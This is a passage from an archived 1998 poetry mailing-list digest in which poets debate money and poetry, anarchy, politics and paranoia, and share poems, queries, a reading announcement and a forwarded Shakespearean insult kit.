Although the horizon of (Mallarme's)_ Un Coup de des_ is not that of technology---its vocabulary is still the vocabulary of symbolism, grounded on the anima mundi and on the universal correspondence---the space it opens is the same as that faced by technology: world without image, reality without world and infinitely real. MARX is frequently accused, not always with reason, of aesthetic blindness; but this does not prevent one of his observations from being an extraordinarily accurate forecast of the contemporary poet's situation: the modern world is "a society that develops by excluding any mythological relation with nature, relation that is expressed by means of myths, and then presupposes in the artist an imagination independent of mythology..." (p254)

The imagination free of any world image---a mythology is nothing else---turns back on itself and sets up its abode out in the cold, as it were: a now and a here with-out anyone. Unlike the poets of the past, Mallarme does not offer us a

vision of the world: nor does he say one word to us about what it means or does not mean to be a man…our legacy is not Mallarme's word but the space opened by his word.(Ibid)

Mallarme's method, creative destruction or transposition, but above all surrealism, destroyed forever the idea of the poet as an exceptional being. Surrealism did not deny inspiration, an exceptional state: it affirmed that it was common property. Poetry requires no special talent but rather a kind of spiritual daring, an unbinding that is also an un-winding.(254-255)

(Octavio Paz: _The Bow a and the Lyre_)

A poetics is informed and informs-
Just 'informs' maybe-the rest a risk.
L.Z. :[A-12]

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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336. Keston Sutherland
Re: Anarchy
Thu 11 Jun 1998

> *And who thinks of cash when they're deep inside a poem?*

Generally those who think about it most seriously, I'd hazard; anyhow, if in following pudding here's a prooflet:

In darkness by day we must press on,
giddy at the tilt of a negative crystal.
The toy is childish, almost below speech
lip-read by swaying lamps. It is not
so hard to know as it is to do:
wresting the screen before the eyelet lost
to speech tune you blame the victim.
Pity me! These petals, crimson and pink,
are cheque stubs, spilling chalk in a mist
of soft azure. At the last we want
unit costs plus VAT, patient grading:
made to order, made to care, poised
at the nub of avid sugar soap.

(J.H. Prynne, _The Oval Window (1983) p.33)

also see the stuffs of Drew Milne, John Wilkinson, Brecht(!), Rod Mengham, Grace Lake, ME, etc

↑ Index

337. Laura E. Wright
Re: mla reference (fwd)
Thu 11 Jun 1998

Maybe we've got the wrong thing here, but my boss and I think it's On Bread and Poetry, a panel discussion with Gary Snyder, Lew Welch and Philip Whalen. This was published in 1977 by Grey Fox Press, Bolinas (isbn 0-912516-27-5). Nice little book. We have it here in the archives at the Ginsberg Library if the friend is ever in Boulder :-)

Anyone else come up with anything closer? If so, I'd love to know. Did Richard Brautigan get into Zen? I know he spent some time in Japan and was fascinated with things Japanese... but I didn't think he was the religious sort. Then again, some of the first parts of the Bible I read were in Brautigan poems.

--Laura

David Golumbia wrote:

> *a friend of a friend of a friend forwards this query to me... anyone have any idea whether any record exists? feel free to backchannel.. thx!*
>
> *Does anyone have a copy (or know where I could find one) of the discussion on "Zen and Contemporary Poetry" that Richard Brautigan, Gary Snyder and Philip Whalen held at the Modern Language Association's Convention in San Francisco in December 1979?*
>
> *Thanks.*
>
> --
> [redacted]
> *David Golumbia*

--
Laura Wright
Library Assistant, Naropa Institute
[redacted]

"All music is music..." -- Ted Berrigan

↑ Index

338. **s. kaipa**
Re: mla reference (fwd)
Thu 11 Jun 1998

If convenient, check out the Bancroft Library at UC Berkeley. It's got a spectacular collection of everything in the world including Brautigan hard-to-finds and Beat stuff. It's also an archive library and is open to the public. Down side--can't check things out, but it's the neatest thing around, I tell ya.

Summi

On Thu, 11 Jun 1998, David Golumbia wrote:

> *a friend of a friend of a friend forwards this query to me... anyone have any idea whether any record exists? feel free to backchannel.. thx!*
>
> *Does anyone have a copy (or know where I could find one) of the discussion on "Zen and Contemporary Poetry" that Richard Brautigan, Gary Snyder and Philip Whalen held at the Modern Language Association's Convention in San Francisco in December 1979?*
>
> *Thanks.*
>
> --
> [redacted]
> *David Golumbia*

↑ Index

339. **Safdie Joseph**
The Eternal Question (warning: a bit long)
Thu 11 Jun 1998

Someone whose name MIGHT be Oren Izenberg says:

> This is an extraordinarily muddled conversation.
>
Well, let's hear it for "muddled," I say -- I frankly can't remember a day when this List wasn't. For example, Jordan says the only real answer to the question is the poem itself, and Patrick answers him and says "exactly! It's not a given poem." I mean . . . what could possibly be more muddled than that? As a poet no one on this list has mentioned in the last two years (with some reason) once wrote:

Misunderstanding. Misunderstanding, misunderstanding.
(John Berryman)

Oren goes on to say:

> Nobody contests (least
> of all, I would venture to say, the "hermetic" Brent Long) That poets
> (like
> philosophers, "writers," and people of all kinds) can and maybe even
> should
> think about nerve gas, care about nerve gas, and maybe even, to the
> best of
> their ability, _write_ about nerve gas-- if they hope or imagine that
> writing about nerve gas might do something about nerve gas (like cause
> other people or themselves to think about it or care about it or do
> something about it).
>

Ah . . . so there IS a condition that poets must meet before they can write about nerve gas -- they must "hope or imagine that writing about nerve gas might do something about nerve gas" -- in other words, they should have some political agenda at stake when they mention certain objects or images, and not just want to rhyme "nerve gas" with "rat's ass".

As much as I believe in the poetic decision to mingle fact and fiction, history and myth, as much as I believe that poetry does other things besides "survive in the valley of its saying," this admonition seems . . . limiting. And arises, I think, from a basic misconception that I explore below. But first, more Oren:

> The question Brent was asking -- and,as a cross aside, it strikes me
> that
> it is the question one can KNOW he was asking just by reading it with
> the tiniest presumption of goodwill-- was not, why should such a
> conversation begin on a list like this
> one (not, in other words, poets shouldn't talk about such things!) but
> rather, why is this conversation going on and on (and on) without
> anyone
> even trying to address the relationship
> between caring about the constructive choices that (let's say)a
> particular
> POEM enjoins (or more generally, about the nature of the choices that
> POETICS as a field of inquiry takes up as its clearest subject
> matter) to the various _other_ kinds of ethical and political choices
> people
> have to make? Its a knotty question,

>
I'll say! Also muddled! Can we accept Jordan's formulation of it instead?

> What is there in this (topic of nerve gas)
> about how to make something
> anyone would need to read?

I would say first that this question, implying as it does a separation between what's called "poetry" and what's called "politics," could not even be formulated in other cultures, where poets were and (in some cases) still are recognized as truth-tellers. It would be, for example, unrecognizable to Central European and Latin American poets of a certain time. Most North American poets have no conception of what it means to live in a society where every word they wrote had the potential to become part of their own death-sentence. And that's probably a good thing!

We read that most people are "turned off" by politics these days, that most of us feel no connection with government or our elected leaders or the decisions that are made in our name. Such cynicism is understandable. But surely what fueled the indignation of the respondents to Brent (including me) was the suggestion that poetics -- the occasion for this list -- has NOTHING to do with the revelation that our government was guilty of monstrous acts and keeping them secret. Poets are makers (look it up), and the words we use to make our poems have histories and roots and blood and guts -- they have implications, connotations. Poetry IS history IS politics just as a rose is a rose is a rose, and we shouldn't confuse the luxury of being insulated from such knowledge with an actual intellectual position. And I'm not talking about propaganda or pamphlets, either (although god bless Jack Hirshman!).

In addition to the poets that have been cited in this thread (Carlo, I think you got everyone!), I'd mention one more prose-writer, Milan Kundera -- especially his _Book of Laughter and Forgetting_, which deals with these matters rather more eloquently and poignantly.

And because this is such a long post and because it's my 2nd of the day, I won't quote more of the NYRB's "The Politics of Jacques Derrida" here -- but would love to hear other reactions to it!

Joe

↑ Index

340. Schuchat Simon
Re: Anarchy
Thu 11 Jun 1998

On Fri, 12 Jun 1998, Anthony Lawrence wrote:

> *Did that insurance guy from Hartford look up*
> *from his angular handwriting and see dollar signs*
> *in the air?*
>
> *Anthony*

Yes. He's the one that said "Money is a kind of poetry."

↑ Index

341. Chris McCreary
Highwire reading (Philadelphia)
Thu 11 Jun 1998

The following is posted for Kyle Conner, who is not currently on the list. Any questions or concerns should be directed to him at: [redacted]

READINGS AT HIGHWIRE

#1
Jordan Davis

Greg Fuchs

Kyle Conner

"A new series that will challenge your senses"

@ Highwire Gallery, 139 N. 2nd St. Philadelphia
Saturday, June 20, 5:30PM, $$5.
Better than a movie.

↑ Index

342. Miekal And
Re: Anarchy
Thu 11 Jun 1998

isnt da levy part of this discussion?

& ifn were talking cultural anarchy in the 60s, would seem to be the terrain of fluxus, something else press, porter--

if ya dont post for a bunch of days, do you get bonuses so somedays ya can splurt out more than 5 share

disagree heartily with don byrd that the online hackers are the only visible presence these days. the scene around anarchy magazine, zerzan, feral faun etc has been going for years, the writings of hakim bey, particularly TAZ has situated numerous autonomous zone infoshops around the states, many in their own enclave, but yearly anarchist gatherings bring em together. at dreamtime I would guesstimate that more than half of the folks coming thru here over the years is from some sort of anarchist orientation, whether punk, queer, animal rights, intellectual or art/noise.

what were you doing in may 68?

rasputin zukofsky & nostalgia online

↑ Index

343. **k. lederer**
Re: Anarchy
Thu 11 Jun 1998

Maybe I'm off here but....

Don't poetry professors get raises and promotions when they publish books with "respectable" presses?

And don't they get raises if they win awards etc?

Or if they edit something?

Don't people who win first-book contests get money (like, $500-$5000)?

I know some younger poets who will only submit work to magazines that pay... (I know this sounds crazy.... it has something to do with what they perceive as a heightened prestige...).

Katy

↑ Index

344. **morpheal**
Re: Marx and Myth and History and Poetry
Thu 11 Jun 1998

> *This is an extraordinarily muddled conversation. Nobody contests (least of all, I would venture to say, the "hermetic" Brent Long) That poets (like philosophers, "writers," and people of all kinds) can and maybe even should think about nerve gas, care about nerve gas, and maybe even, to the best of their ability, _write_ about nerve gas-- if they hope or imagine that writing about nerve gas might do something about nerve gas (like cause other people or themselves to think about it or care about it or do something about it).*

Yes, they are important. Don't forget:

1). nerve gases
2). other chemical warfare agents
(toxins, mutagens, carcinogens, for attacking
people and foodstuffs)
3). psi weapons (including some EMR and RF type stuff)
4). bacteriological weapons
5). viral weapons
6). other biological weapons
7). nuclear weapons
8). microwave and laser type weapons

Did I forget any major categories ?

A government shopping list. Which government ? Could be any of them. Or maybe a despotic dictator's request to Santa Claus and his elves.

Poetry is noticably absent from their wish lists.
That is one of the reasons that I keep on writing it.
Poetry seems so very sane, in comparison with international politics.

I wonder, however, would poets make reasonably good diplomats ?

M.

↑ Index

345. **morpheal**
Re: Que nerve he has!
Thu 11 Jun 1998

> *Hey, that's tina turner isn't it:*

Ted Turner.

> "*What's (nerve gas) got to do, got to do with it*"

Ike would have been able to explain that.

> *Sorry,*
> *William*

William Tell

M.

↑ Index

346. **Billy Little**
Re: mla reference (fwd)
Fri 12 Jun 1998

---

if it's the one in the hotel it wasn't a discussion it was like a reading, Snyder gave a long boring lecture on Mahayana, Joanne Kyger egging him on, go on Gary, totally snoresville, schoolmarmish, Did Whalen read prose? Brautigan seemed the most zen and the most american reading his Tokyo-Montana journals, Seems to me Bly was part of it too singing his misogynist whines and another depressing san francisco buddhist i'm glad i've forgotten no jack kerouac that's for sure. Creeley was up in the bar, so was Rodefer, they all drank to gary who was still splitting hairs down in the ballroom, charles watts was on the escalatorria too late? for a drink, i think Creeley and Tallman gave talks at an earlier panel with one other ?

↑ Index

347. **Anthony Lawrence**
Re: Anarchy
Fri 12 Jun 1998

---

teb berrigan was on the job full time
as are most of us. We don't get paid for the hours
we spend writing, or dreaming up ways into writing.
And who thinks of cash when they're deep inside a poem?
Did that insurance guy from Hartford look up
from his angular handwriting and see dollar signs
in the air?

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

348. **Matias Viegener**
doxa, sophia, and paranoid poeto-politics
Fri 12 Jun 1998

I must speak here and not lurk. Mostly I write responses, sit on them and then trash them because they seem superceded or supercilous. What I most enjoy here is the tangetial discussions such as those on the poetics of anarchy or

January's slugfest on vizpoetics. What most disturbs me are Yahoo pronouncements about war, or technology, or political Anarchism. I suppose the initial effect arises from my own nature, which values speculation over assertion and poetics over polemics.

I try not to dismiss wholesale Morpheal's posts, and in trying to read them I have only one mode of accomodation. Morpheal in his best manifestations is a poetic terrorist, introducing a topic and then mastering and remastering the spin of it - always, you will note, a topic at least once removed from the presumptive expertise and focus of this list. The trope is always 'morpheatic,' moving in the direction of M's own mastery of the topic, the alpha and omega of this petite discursive universe. (The root 'morph' referring to form and its shaping and to sleep, especially narcotic.)

I find him: patriarchal, dogmatic, declarative, unsubstantiated, and in general substituting authoritative diction for real thinking. (Maybe the core of this is the distinction between doxa, or opinion, and sophia, wisdom, that I recall from Plato). This ugly lumber in the support of shapeless sentences in distinction to what I think of (perhaps my limit here) as poetic speculation: the latter is balanced on a regard for language itself, between what we speak of and how we speak it.

An icky chestnut: "Those that speak don't know, those that know do not speak." seductive tho, fulfilling our paranoid needs...

I teach in an art school which has always cherished political engagement and its absolute relevance to 'art.' One of the areas I often see fall short is when an esteemed painter, poet or composer comes to visit and inevitably someone asks a fine question, say on Bosnia or the Rodney King Uprising. The artist, feeling compelled to fulfill his role of wise man, makes an authoritative pronouncement of Deeper Meaning, most often layered in received wisdom and rhetoric. (Rather than, say, pointing toward the thoughts of someone who has devoted him or herself to just this topic) I see two errors here: the 'great man' mythology (of course a great artist would have a profound political opinion...); and the egotism of success, the correlate to being a great man.

The other component is our cultural penchant for paranoia (to wit, the evil of Islamic fundamentalism against the goodwill of Western capitalism). It is much preferable to believe a hyperbolic and hence simple theory of the conspiracy behind some event and its horizon. To follow a classic line of reasoning, balancing doxa against doxa to find wisdom, seems to exhaust everyone. Hence also the X-files, which endlessly defer the outline of the grand conspiracy -- a way to leverage their discursive power and clothe their own nakedness.

A question: is there a poetics of paranoia? who are its practitioners? Do they lapse into the politics of paranoia or articulate a distinction to it?

Matias Viegener
Writing Program
California Institute of Arts
[redacted]

↑ Index

349. Anthony Lawrence
Richard Brautigan
Fri 12 Jun 1998

RICHARD BRAUTIGAN'S LAST DAY IN MONTANA

I saw his death in Rolling Stone - the typeset memorial,
the photo of a straw-haired man
tapping a Remington for the prose of love.
Brautigan loved Japan, and like Yukio Mishima's, his art
involved a marriage of ink and blood -
no great poetry comes without a taste of death.

The day he left his life with a loud report,
the deer moved off into the shapes of trees
and the Great Owl unsheathed its daggers.
From the simplest work the darkest work emerges.
He left a handgun rusting in the grass, his fingers
unfolding like the stamens of a starnge blue flower,
his life's work bleeding away
for hours in the cold Montana rain.

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

350. Anthony Lawrence
Re: Anarchy
Fri 12 Jun 1998

keston
yes the world's full of refs. to money in poems
but that wasn't me point.

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

351. Anthony Lawrence
Re: Anarchy
Fri 12 Jun 1998

> *He's the one that said "Money is a kind of poetry."*

Yeah, know the line, but my point is (sigh) that the writing of poetry is not concommitant with making money. AFTER it's been written? There are some who do make a quid, sure, but do they write with cash in mind? That's not what Mr Stevens was on about.

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

352. Anthony Lawrence
Re: Anarchy
Fri 12 Jun 1998

> *Don't poetry professors get raises and promotions when they publish books with "respectable" presses?*
>
> *And don't they get raises if they win awards etc?*
>
> *Or if they edit something?*
>
> *Don't people who win first-book contests get money (like, $500-$5000)?*
>
> *I know some younger poets who will only submit work to magazines that pay... (I know this sounds crazy.... it has something to do with what they perceive as a heightened prestige...).*
>
> *Katy*

Katy,

you're right on all counts, but does the actual writing process involve "the mind lying by its accounts, and considering?"

At a festival in Sydney, when I was 18 or 19, I attended a discussion on little magazines. I got up and said that I didn't care whether I was paid or not, as long as I got published. I was shouted down by poets who insisted they be paid like any other kind of worker. They were right. I wanted so desperately to see my poems in print. Some magazines pay well with cash, others with copies of the magazine. In Australia, the majority of magazines pay contributors. It ain't much, but it helps. Are there people on this discussion list who accept copies of a magazine in lieu of cash? Who accept publication only? Who publishes only in magazines that pay a lot? Hands up.

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

353. **henry g**

FW: Shakespearian Insult Kit

Fri 12 Jun 1998

For those who want to be politically sharp as well as strictly canonical, the following will come in handy - Henry G

Shakespearian Insult Kit

To construct a Shakespearean insult, combine one word from each of the three columns below, and preface it with "Thou":

Column 1	Column 2	Column 3
artless	base-court	apple-john
bawdy	bat-fowling	baggage
beslubbering	beef-witted	barnacle
bootless	beetle-headed	bladder
churlish	boil-brained	boar-pig
cockered	clapper-clawed	bugbear
clouted	clay-brained	bum-bailey
craven	common-kissing	canker-blossom
currish	crook-pated	clack-dish

dankish dismal-dreaming clotpole
dissembling dizzy-eyed coxcomb
droning doghearted codpiece
errant dread-bolted death-token
fawning earth-vexing dewberry
fobbing elf-skinned flap-dragon
froward fat-kidneyed flax-wench
frothy fen-sucked flirt-gill
gleeking flap-mouthed foot-licker
goatish fly-bitten fustilarian
gorbellied folly-fallen giglet
impertinent fool-born gudgeon
infectious full-gorged haggard
jarring guts-griping harpy
loggerheaded half-faced hedge-pig
lumpish hasty-witted horn-beast
mammering hedge-born hugger-mugger
mangled hell-hated joithead
mewling idle-headed lewdster
paunchy ill-breeding lout
pribbling ill-nurtured maggot-pie
puking knotty-pated malt-worm
puny milk-livered mammet
qualling motley-minded measle
rank onion-eyed minnow
reeky plume-plucked miscreant
roguish pottle-deep moldwarp
ruttish pox-marked mumble-news
saucy reeling-ripe nut-hook
spleeny rough-hewn pigeon-egg
spongy rude-growing pignut
surly rump-fed puttock
tottering shard-borne pumpion
unmuzzled sheep-biting ratsbane
vain spur-galled scut
venomed swag-bellied skainsmate
villainous tardy-gaited strumpet
warped tickle-brained varlet
wayward toad-spotted vassal
weedy unchin-snouted whey-face
yeasty weather-bitten wagtail
>>

****
TonyStone Images
475 Park Ave South
28th Floor
NY, NY 10016
Tel: ([redacted]
Fax: ([redacted]
Home Page: http://www.us.tonystone.com
****

---------- RFC822 Header Follows ----------
by versace.getty-images.com with SMTP
id PAA14206 for <[redacted]> (2.4-8.8.8/3.1.19);
Wed, 27 May 1998 15:25:23 +0100 (BST)
From: [redacted]
Date: Wed, 27 May 1998 15:23:44 +0000
To: [redacted], [redacted],
[redacted]
Subject: FW: Shakespearian Insult Kit

---------- Headers ----------
air10.mail.aol.com (v43.17) with SMTP; Wed, 27 May 1998 14:06:57 -0400
by relay29.mx.aol.com (8.8.5/8.8.5/AOL-4.0.0)
with ESMTP id OAA10036 for <[redacted]>;
Wed, 27 May 1998 14:06:56 -0400 (EDT)
by panix.com (8.8.5/8.8.8/PanixU1.4) with SMTP id OAA23765;
Wed, 27 May 1998 14:05:23 -0400 (EDT)
Date: Wed, 27 May 1998 14:05:23 -0400 (EDT)
From: Elizabeth Donna Greenstein <[redacted]>
To: "Joel C. Simon" <[redacted]>,
Ruth Anne Baylis <[redacted]>,
Michele Baylis <[redacted]>,
Madalyn Cioci <[redacted]>, Eri Noguchi
<[redacted]>,
Tanya McCullough <[redacted]>, Gbinney
<[redacted]>
Subject: FWD>FW: Shakespearian Insult Kit (fwd)
Errors-To: [redacted]

--MailNet.MIME.6232b4c5--

↑ Index

354. **Douglas Barbour**
Mac Low on Anarchy
Fri 12 Jun 1998

Nick Piombino' quoting Jackson MacLow on his erformance pieces reminds me of the 11th Sound Poetry festival in Toronto lo these many years ago when a summation of sound poets gathered on stage to perform _21 Matched Asymmetries_ -- my first experience of such. Then and now my response is wow. But exactly as he argues, they all participated by joining in individual decisions to sound as a whole but not as 'one' ordered that way. They chose. & boy did they chant...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

> *with "respectable" presses?*
>
> *And don't they get raises if they win awards etc?*
>
> *Or if they edit something?*
>
> *Don't people who win first-book contests get money (like, $500-$5000)?*
>
> *I know some younger poets who will only submit work to magazines that pay... (I know this sounds crazy.... it has something to do with what they perceive as a heightened prestige...).*
>
> *Katy*

↑ Index

356. **Henry G**
Re: Anarchy
Fri 12 Jun 1998

On Fri, 12 Jun 1998 10:53:20 -0000 Anthony Lawrence said:
>but it helps. Are there people on this discussion list who accept
>copies of a magazine in lieu of cash? Who accept publication only?
>Who publishes only in magazines that pay a lot? Hands up.

I require an upfront prepub payment of $1000-5000. depending on circulation, plus royalties on each issue sold & guarantee of book tour & promo material (1st class air on all travel); the poems must be in unique handset font (to distinguish from other contributors) and either 1st or last in the table of contents; all fan mail must be directed to me by fax and I insist on a tropical bird feather of my own choosing for each poem which I am collecting in my cap. Unfortunately I haven't been able to publish much (anything, actually) so all this is negotiable.
- Henry Gould

↑ Index

357. **Erik Sweet**
Money and Poetry
Fri 12 Jun 1998

Lets face it, money helps pay bills,
but poetry as well as music in all reality (unless you are Jewel 1.7 million
for her book of poems) will not pay up-
who the hell makes enough off poetry without having to take a professorly job
where as Katy says the prof's get payed for publishing/publicity (business)-

poetry is a business, when it becomes a ways and a means of staying alive-

What about music, alot more high profile than poetry so more image is involved manipulated and the buying and selling aspect is easier

You have to watch it because the moment something you do (that you love) becomes part of the grocery bill its gonna change-

Look at the paying magazines for poetry, the major reviews, if you tailor your work to it then you start to mold to that magazines style to get PAID- When someone writes you a check for your contribution and you realize it could happen again, then you have to play into the editor's agenda- "as a poet" that does not encourage experimentations or growing--just read those mags ...

The Rolling Stones keep putting out the same record because it pays- Some of the older Jazz guys tour huge places for green and they have been boring for years- Some Poets --who have not changed in 20 years stay that way because it sells, that is the "high profile poetry," and is the type of poetry people figure is "poetry" not Jack Spicer who gets patronized in an article by some academic bore who obviouslynever read Spicer, only the biography (hats off to Killian and Co.)!!anyways

Money is good, but every artist/musican /poets I knew and respected had another job to pay rent that is not bad-

Some magazines can not afford to pay poets, but those poets will see their work in print and in good company-

-what is bad is expecting money for poetry to equal prestige-

erik sweet

↑ Index

358. **Douglas Barbour**

Re: Radio Bowering

Fri 12 Jun 1998

Um George

You do mention Salt Lake City radio & I know you love Ornette, but the line in the poem is "Gerry Mulligan meets Stan Getz" (but then what would we expect from Salt Lake City...?

==========
==========
Douglas Barbour
Department of English

University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

Just a friendly warning to all. Next week begins the 4-week long Naropa Summer Writing Program. I hope to post some thumbnail reports of the readings as I did last summer. Here's a partial list of poets and writers who will be descending on Boulder: Alice Notley, Doug Oliver, the Berrigan boys, Bev Dahlen, Mei-Mei Berssenbrugge, Rachel Blau DuPlessis, Michael Heller, Jenny Penberthy, Carl Rakosi, Barbara Guest, Lawrence Ferlinghetti, Elizabeth Willis, Peter Gizzi, Maureen Owen, Eleni Sikelianos, Cole Swensen, Harryette Mullen, Eileen Myles, Joanne Kyger, Victor Cruz and my wife, Barbara Wilder.

A general question to the List - why the hell doesn't someone publish a Jack Collom Selected Poems? Among many grievous oversights in the world of poetry publishing, this is one of the worst.

Patrick Pritchett

From: Matias Viegener
To: [redacted]
Subject: doxa, sophia, and paranoid poeto-politics
Date: Friday, June 12, 1998 3:02AM

I try not to dismiss wholesale Morpheal's posts, and in trying to read them I have only one mode of accomodation. Morpheal in his best manifestations is a poetic terrorist, introducing a topic and then mastering and remastering the spin of it - always, you will note, a topic at least once removed from the presumptive expertise and focus of this list. The trope is always 'morpheatic,' moving in the direction of M's own mastery of the topic, the alpha and omega of this petite discursive universe. (The root 'morph' referring to form and its shaping and to sleep, especially narcotic.)

I find him: patriarchal, dogmatic, declarative, unsubstantiated, and in general substituting authoritative diction for real thinking. (Maybe the core of this is the distinction between doxa, or opinion, and sophia, wisdom, that I recall from Plato). This ugly lumber in the support of shapeless sentences in distinction to what I think of (perhaps my limit here) as poetic speculation: the latter is balanced on a regard for language itself, between what we speak of and how we speak it.

↑ Index

361. **Gary Sullivan**

Open Fan Letter to Sheila E. Murphy

Fri 12 Jun 1998

Oh. My. Gawd. . . . just received Sheila's _Many Wishbones_ . . . & on first reading, wow, well, it's just the best chapbook I've read in a long, long time . . . here's a section, later in the book:

Suddenly, no daffodils. Merely a stone
You place your finger on to take it
Miles, you place your hand around
Its substance. There you are,

Surrounded by imprudent rearrangements
You have made to match a kind of indigence
Perhaps insufferable to the diligent new worker
Who imagines time's a corollary to sure bounty.

The ray guns of generosity bombard
The self-contained who only murmur
Gratitude as learned response.
The mind struggling with nouns

Does not lose clarity about relationships.
A need for things
To have been malleable at least once
Fades. For there to have been reason.

Sheila, how did you get to this place, find yourself in the situation where this writing is possible? Your work, which has become increasingly eroticized, or sensualized, or whatever term all them hipster academics are toting from conference to conference . . . now begins to incorporate or weave in, well, dang:

As a killjoy why not patch the jacket
With your dimly lit etherea.
So your selfishness becomes a recitation. . . .

I mean, do you even REALIZE, Sheila, what the mouth & lips do, how they feel, sounding this out? And this is invective! Yow!

This one, I mean, this is almost painful to read, here . . . & I boggle at the situation that gave rise to it . . . how did you get something so damning to *sit* there like that, not completely still, but like a slowly breathing gargoyle?:

Blasphemy is swaddled in emancipative clothes.
Night emerges from submersion.
Gentry casts a pall.
Libido housed among the faithful wolves.

Don't tire me with your nuggets on a string against my neck.
Is that Apollinaire you're reading somewhat nattily?
I guess not, is the proper phrase.
This had to be America stretched to the point of ending

What we have left of an interpretation.
Know thyself.
Have you permitted children to be imitators of your friends,
Of you yourself.

With intimacy so taken for granted,
Many wishbones choose to snap
Beyond the point umbilical.
Beyond the enclave labeled past behavior, present life, and future mending.

This section following one in which you say: "For something to mean/ Anything it would have/ Not to be an object" . . . you seem concentrated in this series on the dual resonance of language . . . how it feels, how what it means feels . . .

Sheila, mah butt is sore from where this new series of yours has been keekin' it . . . relentlessly . . . all morning! . . . and, I'm sorry if being effusive like this is embarrassing for you. . . but, WOW, what am I supposed to do? Read this stuff & just sit here, turd-like, nodding my head, goin' "yeah . . . sure . . . okay . . ." -- I mean, sorry, no way . . . I'm totally thrilled by this . . . hummallah hummallah . . . peoples, you gotta git this book, MAQUETTE PRESS, 3 South Street, Sheep-wash, Beaworth, Devon, EX21 5LZ, U.K. . . 2.50 pounds . . . (six bucks, USA?) . . . anyway . . . okay . . . I'm totally embarrassed now . . . gotta shut up already . . . thank you thank you thank you . . .

Bye for now,

Gary

↑ Index

362. **morpheal**

Re: doxa, sophia, and paranoid poeto-politics [Sophia becomes an exotic dancer, and the poeticians join the circus....]

Fri 12 Jun 1998

> *The other component is our cultural penchant for paranoia (to wit, the evil of Islamic fundamentalism against the goodwill of Western capitalism). It is much preferable to believe a hyperbolic and hence simple theory of the conspiracy behind some event and its horizon. To follow a classic line of reasoning, balancing doxa against doxa to find wisdom, seems to exhaust everyone. Hence also the X-files, which endlessly defer the outline of the grand conspiracy -- a way to leverage their discursive power and clothe their own nakedness.*

Chuckle.

Bluntly stated: nice trigger happy gunshot at my metaphorical head.

You are such a warlike fellow. The trouble is that it is not the likes of yourself, with your quick trigger finger, that is recruited from among poeticians, but instead the most pacifist. Whenever there is a real conflict, it is the most pacifist, (once inclusive of Whitman, but subject to some conversion during the process of that induction), who are recruited to be of such service.

However, I will reply to two specifics.

1). Morpheal is similar to what can and is morphed. The artistic, virtual morphing, becomes the model for a more engineered, more scientific, morphing. Eventually there is no distinction between virtual and real. Then it it is all real.

The morphology, of morphing, is morpheal in exactly the sense that you imply. That is, of sleep, or of narcotic. It is an ultimate form of "maya" created to supplement 'bread and circuses', as much as for any other more technical and often more violent purpose.

I did not come to sing its praises, or to bury it.

I simply came to state a fact: that the world is becoming more morpheal, more morphed, more a morpheality, than any other prophet ever predicted. You seem to honour Morpheal in the traditional way a prophet used to be honoured. <grin>

2). You have misrepresented the nature of the paranoia that you refer to.

You have expressed it in the above paragraph.

There is an ever growing 'paranoia' as to seeing the actual conflicts as conflicts, and sometimes as irresolvable conflicts between certain instances of ideology. You mention one example of that. There are at least a few others. This is the same as the very prevalent arguments as to the Soviets being your friends, and America is the real enemy. Those who urged that kind of thinking urged that it was paranoia to see any reds under our beds. So, of course, the 'red menace' was a fictional creation, created by Hollywood and CIA collaboration.

The recognition of the ultimate conspiracy that there is no conspiracy as the ultimate instance of paranoia. <Laughing like a Bodhisattva.>

> *A question: is there a poetics of paranoia? who are its practitioners? Do they lapse into the politics of paranoia or articulate a distinction to it?*

I think Ginsberg was a wonderful paranoid.

Though I do not share some of his beliefs or predilections I certainly have the highest respect for his work.

We definitely need more paranoids.
There are fewer than there used to be.

Paranoids at least make people think about the otherwise unthinkable.

That is the best preventative as to totalitarianism and totalism. A kind of ex-lax for the human psyche.

Ever hear Donovan's wonderful song "Intergalactic Laxative" on his Cosmic Wheels recording ? I have a similar kind of feeling about this as he expressed in that.

M.

↑ Index

363. Mark Prejsnar
the economics of tambourine lives
Fri 12 Jun 1998

On Thu, 11 Jun 1998, louis stroffolino wrote:

> *Peter....*
> *well i dont know if ted berrigans view that the poet is always*
> *doing poetry "TAKES THE WRITER OUT OF THE CASH NEXUS"*
> *(so that's the phrase to play with---"chew on"--for "awhile"....)*
> *money plays a role, "has a presence", in tb's work,*
> *and i don't think it's just the villianous cash nexus one*
> *is glad to be taken out of.....*
> *chris*

--getting slightly off anarch subjects; but not entirely...

Having to have money (and therefore acknowledging that it has a presence; in the work, in living) is not the same as full insertion into the cash nexus.

I'm working on an essay on this interesting and diverting topic.

Essentially, poetry by dint of its "marginal" place in contemporary culture (esp'y in the US) gets less funding than most art-activities. This is altered in an interesting way, by the far-right success in withdrawing public art funding...But it remains true. Much "funding for the arts" of course involves capitalist marketing: how most musicians make a living. Whether mediated by the capitalist marketplace or by the capitalist state, the flow of money into art-activities

makes it possible to find time to work, and to create a space relatively free from overall societal abrasions. Poetry in large part escapes this situation.

Poetry is not defined as having obvious "value" because of the immediacy of performance (like both art- and pop-musics); nor is it useful as a form of rarity that may be traded as a stock-market type counter for investment gambling, like painting and all forms of unique visual art-object, which have become so very important as investment-games for the wealthy.

Poetry simply has next to no exchange-value, in the contemporary world.

The siting of mainstream work in the academy allowed just enough cash-flow to support some teaching jobs, and a few grants. This is the tenuous thread from which a little poetry (the weakest, artistically) dangles. If women historically have been slaves of the slaves, the more interesting poetries are on the margins of the margin (as defined by the shapes created thru the intertwining of culcha' and capital).

This means poetry is less "free" as an activity, and has absolute freedom (it doesn't haul blocks of stone for the pharoh's pyramid, but at the same time the pharoh's government gives it no bread so it can stay alive). This absolute freedom from commodification means that some poets (Hugh McDiarmid say) will work as welders in shipyards...Others (like Berrigan) will refuse to consider non-poetry work, and pay a different sort of price. But no one "wants" their work, as want is defined in a market culture. This is radical freedom in a near-vaccuum.
